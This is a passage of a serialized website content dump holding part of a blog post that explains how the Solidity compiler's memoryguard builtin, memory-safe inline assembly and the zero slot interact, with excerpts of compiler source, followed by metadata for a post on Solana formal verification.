generator?",{"type":26,"tag":39,"props":136262,"children":136263},{},[136264,136266,136272,136274,136280],{"type":32,"value":136265},"Introducing ",{"type":26,"tag":83,"props":136267,"children":136269},{"className":136268},[],[136270],{"type":32,"value":136271},"memoryguard",{"type":32,"value":136273},". If you've ever looked at the output of ",{"type":26,"tag":83,"props":136275,"children":136277},{"className":136276},[],[136278],{"type":32,"value":136279},"solc --ir",{"type":32,"value":136281},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":26,"tag":207,"props":136283,"children":136285},{"className":59407,"code":136284,"language":59409,"meta":8,"style":8},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[136286],{"type":26,"tag":83,"props":136287,"children":136288},{"__ignoreMap":8},[136289,136307],{"type":26,"tag":217,"props":136290,"children":136291},{"class":7028,"line":7029},[136292,136297,136302],{"type":26,"tag":217,"props":136293,"children":136294},{"style":7033},[136295],{"type":32,"value":136296},"    /// @src 0:26:371  \"contract ",{"type":26,"tag":217,"props":136298,"children":136299},{"style":7154},[136300],{"type":32,"value":136301},"XXX",{"type":26,"tag":217,"props":136303,"children":136304},{"style":7033},[136305],{"type":32,"value":136306}," {...\"\n",{"type":26,"tag":217,"props":136308,"children":136309},{"class":7028,"line":6770},[136310,136314,136318,136322,136326,136330,136334,136338],{"type":26,"tag":217,"props":136311,"children":136312},{"style":7064},[136313],{"type":32,"value":101651},{"type":26,"tag":217,"props":136315,"children":136316},{"style":7048},[136317],{"type":32,"value":1851},{"type":26,"tag":217,"props":136319,"children":136320},{"style":7130},[136321],{"type":32,"value":22712},{"type":26,"tag":217,"props":136323,"children":136324},{"style":7048},[136325],{"type":32,"value":7599},{"type":26,"tag":217,"props":136327,"children":136328},{"style":7064},[136329],{"type":32,"value":136271},{"type":26,"tag":217,"props":136331,"children":136332},{"style":7048},[136333],{"type":32,"value":1851},{"type":26,"tag":217,"props":136335,"children":136336},{"style":7130},[136337],{"type":32,"value":36903},{"type":26,"tag":217,"props":136339,"children":136340},{"style":7048},[136341],{"type":32,"value":18548},{"type":26,"tag":39,"props":136343,"children":136344},{},[136345,136347,136354],{"type":32,"value":136346},"From ",{"type":26,"tag":163,"props":136348,"children":136351},{"href":136349,"rel":136350},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[167],[136352],{"type":32,"value":136353},"the documentation",{"type":32,"value":1868},{"type":26,"tag":35,"props":136356,"children":136357},{},[136358],{"type":26,"tag":39,"props":136359,"children":136360},{},[136361,136363,136369,136371,136377,136379,136384],{"type":32,"value":136362},"The caller of ",{"type":26,"tag":83,"props":136364,"children":136366},{"className":136365},[],[136367],{"type":32,"value":136368},"let ptr := memoryguard(size)",{"type":32,"value":136370}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":26,"tag":83,"props":136372,"children":136374},{"className":136373},[],[136375],{"type":32,"value":136376},"[0, size)",{"type":32,"value":136378}," or the unbounded range starting at ",{"type":26,"tag":83,"props":136380,"children":136382},{"className":136381},[],[136383],{"type":32,"value":12350},{"type":32,"value":180},{"type":26,"tag":39,"props":136386,"children":136387},{},[136388,136390,136395,136397,136403],{"type":32,"value":136389},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":26,"tag":83,"props":136391,"children":136393},{"className":136392},[],[136394],{"type":32,"value":136271},{"type":32,"value":136396}," return ",{"type":26,"tag":83,"props":136398,"children":136400},{"className":136399},[],[136401],{"type":32,"value":136402},"size + 32",{"type":32,"value":136404},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":26,"tag":39,"props":136406,"children":136407},{},[136408,136410,136417,136419,136424,136426,136431],{"type":32,"value":136409},"An example of this optimization in practice ",{"type":26,"tag":163,"props":136411,"children":136414},{"href":136412,"rel":136413},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[167],[136415],{"type":32,"value":136416},"is the StackLimitEvader",{"type":32,"value":136418},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":26,"tag":65,"props":136420,"children":136421},{},[136422],{"type":32,"value":136423},"only",{"type":32,"value":136425}," optimization pass that relies on the semantic information communicated by ",{"type":26,"tag":83,"props":136427,"children":136429},{"className":136428},[],[136430],{"type":32,"value":136271},{"type":32,"value":180},{"type":26,"tag":39,"props":136433,"children":136434},{},[136435],{"type":32,"value":136436},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":26,"tag":39,"props":136438,"children":136439},{},[136440,136442,136448],{"type":32,"value":136441},"Fear not, for we can remove this pointer entirely and call ",{"type":26,"tag":83,"props":136443,"children":136445},{"className":136444},[],[136446],{"type":32,"value":136447},"memoryguard(0x60)",{"type":32,"value":136449}," instead. The rest of the pipeline will still work.",{"type":26,"tag":27,"props":136451,"children":136452},{"id":135967},[136453],{"type":32,"value":136454},"Memory Safety",{"type":26,"tag":39,"props":136456,"children":136457},{},[136458],{"type":32,"value":136459},"So what does memory safety mean?",{"type":26,"tag":39,"props":136461,"children":136462},{},[136463,136465,136471],{"type":32,"value":136464},"The Solidity documentation provides ",{"type":26,"tag":163,"props":136466,"children":136468},{"href":135942,"rel":136467},[167],[136469],{"type":32,"value":136470},"a set of constraints",{"type":32,"value":136472},", not a definition.",{"type":26,"tag":35,"props":136474,"children":136475},{},[136476,136481],{"type":26,"tag":39,"props":136477,"children":136478},{},[136479],{"type":32,"value":136480},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":26,"tag":6712,"props":136482,"children":136483},{},[136484,136489,136494,136499],{"type":26,"tag":2044,"props":136485,"children":136486},{},[136487],{"type":32,"value":136488},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":26,"tag":2044,"props":136490,"children":136491},{},[136492],{"type":32,"value":136493},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":26,"tag":2044,"props":136495,"children":136496},{},[136497],{"type":32,"value":136498},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":26,"tag":2044,"props":136500,"children":136501},{},[136502],{"type":32,"value":136503},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":26,"tag":39,"props":136505,"children":136506},{},[136507,136509,136516,136524],{"type":32,"value":136508},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":26,"tag":163,"props":136510,"children":136513},{"href":136511,"rel":136512},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[167],[136514],{"type":32,"value":136515},"removes the memory guard",{"type":26,"tag":98386,"props":136517,"children":136518},{},[136519],{"type":26,"tag":163,"props":136520,"children":136522},{"href":98391,"ariaDescribedBy":136521,"dataFootnoteRef":8,"id":98394},[98393],[136523],{"type":32,"value":185},{"type":32,"value":180},{"type":26,"tag":207,"props":136526,"children":136528},{"className":33132,"code":136527,"language":33131,"meta":8,"style":8},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[136529],{"type":26,"tag":83,"props":136530,"children":136531},{"__ignoreMap":8},[136532,136540,136548,136555,136589,136596,136604,136612,136620,136628,136636,136649,136662,136670],{"type":26,"tag":217,"props":136533,"children":136534},{"class":7028,"line":7029},[136535],{"type":26,"tag":217,"props":136536,"children":136537},{"style":7033},[136538],{"type":32,"value":136539},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":26,"tag":217,"props":136541,"children":136542},{"class":7028,"line":6770},[136543],{"type":26,"tag":217,"props":136544,"children":136545},{"style":7033},[136546],{"type":32,"value":136547},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":26,"tag":217,"props":136549,"children":136550},{"class":7028,"line":6779},[136551],{"type":26,"tag":217,"props":136552,"children":136553},{"emptyLinePlaceholder":17},[136554],{"type":32,"value":7817},{"type":26,"tag":217,"props":136556,"children":136557},{"class":7028,"line":7140},[136558,136562,136567,136572,136576,136580,136585],{"type":26,"tag":217,"props":136559,"children":136560},{"style":7119},[136561],{"type":32,"value":78188},{"type":26,"tag":217,"props":136563,"children":136564},{"style":7048},[136565],{"type":32,"value":136566}," IRGenerator::",{"type":26,"tag":217,"props":136568,"children":136569},{"style":7064},[136570],{"type":32,"value":136571},"memoryInit",{"type":26,"tag":217,"props":136573,"children":136574},{"style":7048},[136575],{"type":32,"value":1851},{"type":26,"tag":217,"props":136577,"children":136578},{"style":7154},[136579],{"type":32,"value":74880},{"type":26,"tag":217,"props":136581,"children":136582},{"style":7054},[136583],{"type":32,"value":136584}," _useMemoryGuard",{"type":26,"tag":217,"props":136586,"children":136587},{"style":7048},[136588],{"type":32,"value":10025},{"type":26,"tag":217,"props":136590,"children":136591},{"class":7028,"line":7165},[136592],{"type":26,"tag":217,"props":136593,"children":136594},{"style":7048},[136595],{"type":32,"value":10033},{"type":26,"tag":217,"props":136597,"children":136598},{"class":7028,"line":7178},[136599],{"type":26,"tag":217,"props":136600,"children":136601},{"style":7033},[136602],{"type":32,"value":136603}," // This function should be called at the beginning of the EVM call frame\n",{"type":26,"tag":217,"props":136605,"children":136606},{"class":7028,"line":7389},[136607],{"type":26,"tag":217,"props":136608,"children":136609},{"style":7033},[136610],{"type":32,"value":136611}," // and thus can assume all memory to be zero, including the contents of\n",{"type":26,"tag":217,"props":136613,"children":136614},{"class":7028,"line":7406},[136615],{"type":26,"tag":217,"props":136616,"children":136617},{"style":7033},[136618],{"type":32,"value":136619}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":26,"tag":217,"props":136621,"children":136622},{"class":7028,"line":7439},[136623],{"type":26,"tag":217,"props":136624,"children":136625},{"style":7042},[136626],{"type":32,"value":136627}," return\n",{"type":26,"tag":217,"props":136629,"children":136630},{"class":7028,"line":7487},[136631],{"type":26,"tag":217,"props":136632,"children":136633},{"style":7048},[136634],{"type":32,"value":136635},"  Whiskers{\n",{"type":26,"tag":217,"props":136637,"children":136638},{"class":7028,"line":7524},[136639,136644],{"type":26,"tag":217,"props":136640,"children":136641},{"style":7048},[136642],{"type":32,"value":136643},"   _useMemoryGuard ",{"type":26,"tag":217,"props":136645,"children":136646},{"style":7149},[136647],{"type":32,"value":136648},"?\n",{"type":26,"tag":217,"props":136650,"children":136651},{"class":7028,"line":7553},[136652,136657],{"type":26,"tag":217,"props":136653,"children":136654},{"style":7338},[136655],{"type":32,"value":136656},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":26,"tag":217,"props":136658,"children":136659},{"style":7149},[136660],{"type":32,"value":136661}," :\n",{"type":26,"tag":217,"props":136663,"children":136664},{"class":7028,"line":7570},[136665],{"type":26,"tag":217,"props":136666,"children":136667},{"style":7338},[136668],{"type":32,"value":136669},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":26,"tag":217,"props":136671,"children":136672},{"class":7028,"line":7621},[136673],{"type":26,"tag":217,"props":136674,"children":136675},{"style":7048},[136676],{"type":32,"value":16086},{"type":26,"tag":39,"props":136678,"children":136679},{},[136680,136685,136687,136693],{"type":26,"tag":83,"props":136681,"children":136683},{"className":136682},[],[136684],{"type":32,"value":136279},{"type":32,"value":136686}," will now no longer have ",{"type":26,"tag":83,"props":136688,"children":136690},{"className":136689},[],[136691],{"type":32,"value":136692},"memoryguard(0x80)",{"type":32,"value":136694}," as expected.",{"type":26,"tag":207,"props":136696,"children":136698},{"className":59407,"code":136697,"language":59409,"meta":8,"style":8},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[136699],{"type":26,"tag":83,"props":136700,"children":136701},{"__ignoreMap":8},[136702,136717],{"type":26,"tag":217,"props":136703,"children":136704},{"class":7028,"line":7029},[136705,136709,136713],{"type":26,"tag":217,"props":136706,"children":136707},{"style":7033},[136708],{"type":32,"value":136296},{"type":26,"tag":217,"props":136710,"children":136711},{"style":7154},[136712],{"type":32,"value":136301},{"type":26,"tag":217,"props":136714,"children":136715},{"style":7033},[136716],{"type":32,"value":136306},{"type":26,"tag":217,"props":136718,"children":136719},{"class":7028,"line":6770},[136720,136725,136729,136733,136737,136741],{"type":26,"tag":217,"props":136721,"children":136722},{"style":7064},[136723],{"type":32,"value":136724},"    mstore",{"type":26,"tag":217,"props":136726,"children":136727},{"style":7048},[136728],{"type":32,"value":1851},{"type":26,"tag":217,"props":136730,"children":136731},{"style":7130},[136732],{"type":32,"value":22712},{"type":26,"tag":217,"props":136734,"children":136735},{"style":7048},[136736],{"type":32,"value":7599},{"type":26,"tag":217,"props":136738,"children":136739},{"style":7130},[136740],{"type":32,"value":11281},{"type":26,"tag":217,"props":136742,"children":136743},{"style":7048},[136744],{"type":32,"value":10025},{"type":26,"tag":39,"props":136746,"children":136747},{},[136748,136750,136755,136757,136762],{"type":32,"value":136749},"Semantically, the absence of ",{"type":26,"tag":83,"props":136751,"children":136753},{"className":136752},[],[136754],{"type":32,"value":136271},{"type":32,"value":136756}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":26,"tag":83,"props":136758,"children":136760},{"className":136759},[],[136761],{"type":32,"value":136271},{"type":32,"value":136763}," invariant.",{"type":26,"tag":35,"props":136765,"children":136766},{},[136767],{"type":26,"tag":39,"props":136768,"children":136769},{},[136770,136771,136776,136777,136782,136783,136788],{"type":32,"value":136362},{"type":26,"tag":83,"props":136772,"children":136774},{"className":136773},[],[136775],{"type":32,"value":136368},{"type":32,"value":136370},{"type":26,"tag":83,"props":136778,"children":136780},{"className":136779},[],[136781],{"type":32,"value":136376},{"type":32,"value":136378},{"type":26,"tag":83,"props":136784,"children":136786},{"className":136785},[],[136787],{"type":32,"value":12350},{"type":32,"value":180},{"type":26,"tag":39,"props":136790,"children":136791},{},[136792],{"type":32,"value":136793},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":26,"tag":27,"props":136795,"children":136797},{"id":136796},"undefined-behavior",[136798],{"type":32,"value":136799},"Undefined Behavior",{"type":26,"tag":39,"props":136801,"children":136802},{},[136803,136805,136810,136812,136817,136819,136825],{"type":32,"value":136804},"How strict is memory safety? When it comes to ",{"type":26,"tag":83,"props":136806,"children":136808},{"className":136807},[],[136809],{"type":32,"value":136271},{"type":32,"value":136811},", only touching memory after 0x80 seems to matter. Is ",{"type":26,"tag":83,"props":136813,"children":136815},{"className":136814},[],[136816],{"type":32,"value":135931},{"type":32,"value":136818}," annotated assembly that touches memory at ",{"type":26,"tag":83,"props":136820,"children":136822},{"className":136821},[],[136823],{"type":32,"value":136824},"[0x40, 0x7f]",{"type":32,"value":136826}," really safe?",{"type":26,"tag":39,"props":136828,"children":136829},{},[136830,136831,136838,136840,136845],{"type":32,"value":475},{"type":26,"tag":163,"props":136832,"children":136835},{"href":136833,"rel":136834},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[167],[136836],{"type":32,"value":136837},"Solidity documentation",{"type":32,"value":136839}," mentions ",{"type":26,"tag":65,"props":136841,"children":136842},{},[136843],{"type":32,"value":136844},"undefined behavior",{"type":32,"value":136846}," three times.",{"type":26,"tag":6712,"props":136848,"children":136849},{},[136850,136855,136870],{"type":26,"tag":2044,"props":136851,"children":136852},{},[136853],{"type":32,"value":136854},"The existence of a dangling reference",{"type":26,"tag":2044,"props":136856,"children":136857},{},[136858,136860],{"type":32,"value":136859},"Using verbatim improperly",{"type":26,"tag":98386,"props":136861,"children":136862},{},[136863],{"type":26,"tag":163,"props":136864,"children":136868},{"href":136865,"ariaDescribedBy":136866,"dataFootnoteRef":8,"id":136867},"#user-content-fn-2",[98393],"user-content-fnref-2",[136869],{"type":32,"value":332},{"type":26,"tag":2044,"props":136871,"children":136872},{},[136873],{"type":32,"value":136874},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":26,"tag":39,"props":136876,"children":136877},{},[136878],{"type":32,"value":136879},"Why does this matter?",{"type":26,"tag":39,"props":136881,"children":136882},{},[136883,136885,136892,136894,136901],{"type":32,"value":136884},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":26,"tag":163,"props":136886,"children":136889},{"href":136887,"rel":136888},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[167],[136890],{"type":32,"value":136891},"signed integer overflow is undefined",{"type":32,"value":136893},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":26,"tag":163,"props":136895,"children":136898},{"href":136896,"rel":136897},"https://blog.regehr.org/archives/1307",[167],[136899],{"type":32,"value":136900},"years down the line",{"type":32,"value":180},{"type":26,"tag":39,"props":136903,"children":136904},{},[136905,136907,136914,136915,136920],{"type":32,"value":136906},"Going back to Solidity, the specification makes ",{"type":26,"tag":163,"props":136908,"children":136911},{"href":136909,"rel":136910},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[167],[136912],{"type":32,"value":136913},"it unambiguously clear",{"type":32,"value":15487},{"type":26,"tag":65,"props":136916,"children":136917},{},[136918],{"type":32,"value":136919},"Thou shalt not modify the zero slot",{"type":32,"value":180},{"type":26,"tag":35,"props":136922,"children":136923},{},[136924],{"type":26,"tag":39,"props":136925,"children":136926},{},[136927],{"type":32,"value":136928},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":26,"tag":39,"props":136930,"children":136931},{},[136932,136934,136939],{"type":32,"value":136933},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":26,"tag":65,"props":136935,"children":136936},{},[136937],{"type":32,"value":136938},"in Solidity",{"type":32,"value":180},{"type":26,"tag":39,"props":136941,"children":136942},{},[136943],{"type":32,"value":136944},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":26,"tag":6712,"props":136946,"children":136947},{},[136948],{"type":26,"tag":2044,"props":136949,"children":136950},{},[136951,136953,136960],{"type":32,"value":136952},"It very clearly ",{"type":26,"tag":163,"props":136954,"children":136957},{"href":136955,"rel":136956},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[167],[136958],{"type":32,"value":136959},"holds true today",{"type":32,"value":180},{"type":26,"tag":207,"props":136962,"children":136964},{"className":33132,"code":136963,"language":33131,"meta":8,"style":8},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[136965],{"type":26,"tag":83,"props":136966,"children":136967},{"__ignoreMap":8},[136968,137008,137015,137028,137098,137119,137170,137177],{"type":26,"tag":217,"props":136969,"children":136970},{"class":7028,"line":7029},[136971,136975,136980,136985,136989,136994,136999,137004],{"type":26,"tag":217,"props":136972,"children":136973},{"style":7154},[136974],{"type":32,"value":74880},{"type":26,"tag":217,"props":136976,"children":136977},{"style":7048},[136978],{"type":32,"value":136979}," IRGeneratorForStatements::",{"type":26,"tag":217,"props":136981,"children":136982},{"style":7064},[136983],{"type":32,"value":136984},"visit",{"type":26,"tag":217,"props":136986,"children":136987},{"style":7048},[136988],{"type":32,"value":1851},{"type":26,"tag":217,"props":136990,"children":136991},{"style":7119},[136992],{"type":32,"value":136993},"InlineAssembly",{"type":26,"tag":217,"props":136995,"children":136996},{"style":7154},[136997],{"type":32,"value":136998}," const&",{"type":26,"tag":217,"props":137000,"children":137001},{"style":7054},[137002],{"type":32,"value":137003}," _inlineAsm",{"type":26,"tag":217,"props":137005,"children":137006},{"style":7048},[137007],{"type":32,"value":10025},{"type":26,"tag":217,"props":137009,"children":137010},{"class":7028,"line":6770},[137011],{"type":26,"tag":217,"props":137012,"children":137013},{"style":7048},[137014],{"type":32,"value":10033},{"type":26,"tag":217,"props":137016,"children":137017},{"class":7028,"line":6779},[137018,137023],{"type":26,"tag":217,"props":137019,"children":137020},{"style":7064},[137021],{"type":32,"value":137022},"    setLocation",{"type":26,"tag":217,"props":137024,"children":137025},{"style":7048},[137026],{"type":32,"value":137027},"(_inlineAsm);\n",{"type":26,"tag":217,"props":137029,"children":137030},{"class":7028,"line":7140},[137031,137035,137039,137043,137048,137052,137056,137060,137065,137069,137073,137077,137081,137085,137089,137094],{"type":26,"tag":217,"props":137032,"children":137033},{"style":7042},[137034],{"type":32,"value":9710},{"type":26,"tag":217,"props":137036,"children":137037},{"style":7048},[137038],{"type":32,"value":7051},{"type":26,"tag":217,"props":137040,"children":137041},{"style":7149},[137042],{"type":32,"value":10006},{"type":26,"tag":217,"props":137044,"children":137045},{"style":7054},[137046],{"type":32,"value":137047},"_inlineAsm",{"type":26,"tag":217,"props":137049,"children":137050},{"style":7048},[137051],{"type":32,"value":180},{"type":26,"tag":217,"props":137053,"children":137054},{"style":7064},[137055],{"type":32,"value":76306},{"type":26,"tag":217,"props":137057,"children":137058},{"style":7048},[137059],{"type":32,"value":8312},{"type":26,"tag":217,"props":137061,"children":137062},{"style":7054},[137063],{"type":32,"value":137064},"hasMemoryEffects",{"type":26,"tag":217,"props":137066,"children":137067},{"style":7149},[137068],{"type":32,"value":38514},{"type":26,"tag":217,"props":137070,"children":137071},{"style":7149},[137072],{"type":32,"value":37846},{"type":26,"tag":217,"props":137074,"children":137075},{"style":7054},[137076],{"type":32,"value":137047},{"type":26,"tag":217,"props":137078,"children":137079},{"style":7048},[137080],{"type":32,"value":180},{"type":26,"tag":217,"props":137082,"children":137083},{"style":7064},[137084],{"type":32,"value":76306},{"type":26,"tag":217,"props":137086,"children":137087},{"style":7048},[137088],{"type":32,"value":8312},{"type":26,"tag":217,"props":137090,"children":137091},{"style":7054},[137092],{"type":32,"value":137093},"markedMemorySafe",{"type":26,"tag":217,"props":137095,"children":137096},{"style":7048},[137097],{"type":32,"value":10025},{"type":26,"tag":217,"props":137099,"children":137100},{"class":7028,"line":7165},[137101,137106,137110,137115],{"type":26,"tag":217,"props":137102,"children":137103},{"style":7054},[137104],{"type":32,"value":137105},"        m_context",{"type":26,"tag":217,"props":137107,"children":137108},{"style":7048},[137109],{"type":32,"value":180},{"type":26,"tag":217,"props":137111,"children":137112},{"style":7064},[137113],{"type":32,"value":137114},"setMemoryUnsafeInlineAssemblySeen",{"type":26,"tag":217,"props":137116,"children":137117},{"style":7048},[137118],{"type":32,"value":8217},{"type":26,"tag":217,"props":137120,"children":137121},{"class":7028,"line":7178},[137122,137127,137131,137135,137140,137145,137149,137153,137157,137161,137166],{"type":26,"tag":217,"props":137123,"children":137124},{"style":7048},[137125],{"type":32,"value":137126},"    CopyTranslate bodyCopier{",{"type":26,"tag":217,"props":137128,"children":137129},{"style":7054},[137130],{"type":32,"value":137047},{"type":26,"tag":217,"props":137132,"children":137133},{"style":7048},[137134],{"type":32,"value":180},{"type":26,"tag":217,"props":137136,"children":137137},{"style":7064},[137138],{"type":32,"value":137139},"dialect",{"type":26,"tag":217,"props":137141,"children":137142},{"style":7048},[137143],{"type":32,"value":137144},"(), m_context, ",{"type":26,"tag":217,"props":137146,"children":137147},{"style":7054},[137148],{"type":32,"value":137047},{"type":26,"tag":217,"props":137150,"children":137151},{"style":7048},[137152],{"type":32,"value":180},{"type":26,"tag":217,"props":137154,"children":137155},{"style":7064},[137156],{"type":32,"value":76306},{"type":26,"tag":217,"props":137158,"children":137159},{"style":7048},[137160],{"type":32,"value":8312},{"type":26,"tag":217,"props":137162,"children":137163},{"style":7054},[137164],{"type":32,"value":137165},"externalReferences",{"type":26,"tag":217,"props":137167,"children":137168},{"style":7048},[137169],{"type":32,"value":12331},{"type":26,"tag":217,"props":137171,"children":137172},{"class":7028,"line":7389},[137173],{"type":26,"tag":217,"props":137174,"children":137175},{"emptyLinePlaceholder":17},[137176],{"type":32,"value":7817},{"type":26,"tag":217,"props":137178,"children":137179},{"class":7028,"line":7406},[137180,137185,137189,137194,137198,137202,137206,137211],{"type":26,"tag":217,"props":137181,"children":137182},{"style":7048},[137183],{"type":32,"value":137184},"    yul::Statement modified ",{"type":26,"tag":217,"props":137186,"children":137187},{"style":7149},[137188],{"type":32,"value":267},{"type":26,"tag":217,"props":137190,"children":137191},{"style":7064},[137192],{"type":32,"value":137193}," bodyCopier",{"type":26,"tag":217,"props":137195,"children":137196},{"style":7048},[137197],{"type":32,"value":1851},{"type":26,"tag":217,"props":137199,"children":137200},{"style":7054},[137201],{"type":32,"value":137047},{"type":26,"tag":217,"props":137203,"children":137204},{"style":7048},[137205],{"type":32,"value":180},{"type":26,"tag":217,"props":137207,"children":137208},{"style":7064},[137209],{"type":32,"value":137210},"operations",{"type":26,"tag":217,"props":137212,"children":137213},{"style":7048},[137214],{"type":32,"value":137215},"());`\n",{"type":26,"tag":6712,"props":137217,"children":137218},{"start":6770},[137219],{"type":26,"tag":2044,"props":137220,"children":137221},{},[137222],{"type":32,"value":137223},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":26,"tag":39,"props":137225,"children":137226},{},[137227],{"type":32,"value":137228},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":26,"tag":27,"props":137230,"children":137232},{"id":137231},"closing-thoughts",[137233],{"type":32,"value":137234},"Closing Thoughts",{"type":26,"tag":39,"props":137236,"children":137237},{},[137238],{"type":32,"value":137239},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":26,"tag":39,"props":137241,"children":137242},{},[137243],{"type":32,"value":137244},"It's a promise between YUL generation and optimization.",{"type":26,"tag":98804,"props":137246,"children":137248},{"className":137247,"dataFootnotes":8},[98807],[137249,137254],{"type":26,"tag":27,"props":137250,"children":137252},{"className":137251,"id":98393},[98812],[137253],{"type":32,"value":98815},{"type":26,"tag":6712,"props":137255,"children":137256},{},[137257,137289],{"type":26,"tag":2044,"props":137258,"children":137259},{"id":98821},[137260,137262,137267,137269,137275,137277,137282,137284],{"type":32,"value":137261},"As an interesting aside, ",{"type":26,"tag":83,"props":137263,"children":137265},{"className":137264},[],[137266],{"type":32,"value":136271},{"type":32,"value":137268}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":26,"tag":83,"props":137270,"children":137272},{"className":137271},[],[137273],{"type":32,"value":137274},"memory-unsafe",{"type":32,"value":137276}," code can ",{"type":26,"tag":65,"props":137278,"children":137279},{},[137280],{"type":32,"value":137281},"decrease",{"type":32,"value":137283}," gas consumption, especially in the YUL header. ",{"type":26,"tag":163,"props":137285,"children":137287},{"href":98837,"ariaLabel":98838,"className":137286,"dataFootnoteBackref":8},[98840],[137288],{"type":32,"value":98843},{"type":26,"tag":2044,"props":137290,"children":137292},{"id":137291},"user-content-fn-2",[137293,137295,137300,137302],{"type":32,"value":137294},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":26,"tag":65,"props":137296,"children":137297},{},[137298],{"type":32,"value":137299},"guarantee",{"type":32,"value":137301}," behavior with opaque bytes. ",{"type":26,"tag":163,"props":137303,"children":137307},{"href":137304,"ariaLabel":137305,"className":137306,"dataFootnoteBackref":8},"#user-content-fnref-2","Back to reference 2",[98840],[137308],{"type":32,"value":98843},{"type":26,"tag":9282,"props":137310,"children":137311},{},[137312],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":137314},[137315,137316,137317,137318,137319,137320,137321],{"id":24419,"depth":6770,"text":24422},{"id":135972,"depth":6770,"text":135975},{"id":136233,"depth":6770,"text":136236},{"id":135967,"depth":6770,"text":136454},{"id":136796,"depth":6770,"text":136799},{"id":137231,"depth":6770,"text":137234},{"id":98393,"depth":6770,"text":98815},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":137326,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":137327,"description":137328,"author":137329,"image":137330,"date":137332,"isFeatured":17,"onBlogPage":17,"tags":137333,"body":137335,"_type":6799,"_id":147474,"_source":6801,"_file":147475,"_stem":147476,"_extension":6804},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads 